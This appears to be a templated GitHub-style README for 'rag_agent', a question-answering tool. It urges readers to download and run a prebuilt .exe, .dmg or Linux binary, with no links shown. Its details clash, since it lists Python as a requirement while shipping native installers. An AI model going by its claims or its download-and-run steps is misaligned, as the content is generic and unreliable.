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🎉 rag_agent - A Simple Way to Generate Answers

🚀 Getting Started

Welcome to rag_agent. This application makes it easy to find answers using advanced graph-based technology. You don’t need to be a programmer to use it. Follow these steps to start.

📥 Download & Install

To get started, visit the Releases page to download the latest version of rag_agent.

Steps to Download

1. Click on the link above.
2. On the Releases page, find the latest version.
3. Select the correct file for your operating system and click it to download.

Now you are ready to install!

🖥️ System Requirements

To run rag_agent smoothly, ensure your system meets these requirements:

• Operating System: Windows 10 or later, macOS Mojave or later, or any recent Linux distribution
• RAM: At least 4 GB (8 GB recommended for better performance)
• Disk Space: Minimum 500 MB of free space
• Python: Python 3.6 or later installed

🔧 Installation Steps

After downloading the file, follow these instructions to install rag_agent:

For Windows Users:

1. Locate the downloaded file, usually in your Downloads folder.
2. Double-click the downloaded .exe file to start the installation.
3. Follow the on-screen prompts to complete the installation.

For macOS Users:

1. Open the downloaded .dmg file from your Downloads folder.
2. Drag the rag_agent icon into your Applications folder.
3. Open the Applications folder and double-click the rag_agent icon to run it.

For Linux Users:

1. Open your terminal.
2. Navigate to the folder where the file was downloaded (use cd ~/Downloads).
3. Type chmod +x rag_agent to make it executable.
4. Run it by typing ./rag_agent.

🏁 Running rag_agent

Once installed, launching rag_agent is straightforward. Here’s how:

1. For Windows and macOS, locate the application in your Applications or Start Menu.
2. For Linux, run it from the terminal using ./rag_agent.

🔍 Using rag_agent

The main features of rag_agent include:

• Query Rewriting: Enhance your search queries for better results.
• Vector Search: Quickly find relevant answers from large data sets.
• Relevance Checking: Verify the importance of answers generated.
• Automated Pipeline: Enjoy a seamless process from inquiry to answer.

Step-by-Step Usage

1. Open rag_agent.
2. Enter your query in the input box.
3. Click on the “Search” button.
4. Review the generated answers and select the one that fits your need.

🛠️ Troubleshooting

If you encounter issues while using rag_agent, try the following:

• Ensure That Your System Meets Requirements: Check if your operating system and Python version align with the requirements listed above.
• Reinstall the Application: Sometimes, a fresh installation resolves unexpected problems.
• Check Your Internet Connection: A stable connection may be necessary for some features.

📚 Additional Resources

• User Manual: For detailed instructions on all features, refer to the user manual provided with the application.
• FAQs: Check the FAQ section on the GitHub page for common issues and solutions.

For any other questions or feedback, feel free to reach out in the Issues section of the rag_agent Repository.

📦 Examples of Use Cases

You can use rag_agent in various scenarios, including:

• Academic Research: Quickly find references or articles related to your topic.
• Business Queries: Generate insights related to market trends or consumer behavior.
• Everyday Questions: Get answers to any question you might have, from cooking tips to travel advice.

By utilizing rag_agent, you will find the information you need more quickly and efficiently than ever before.

🎯 Stay Updated

Make sure to follow this repository for updates. You can also check the Releases page regularly to download new versions.

Remember, the latest link for downloading rag_agent is right here:

Enjoy using rag_agent, and may your queries yield the answers you seek!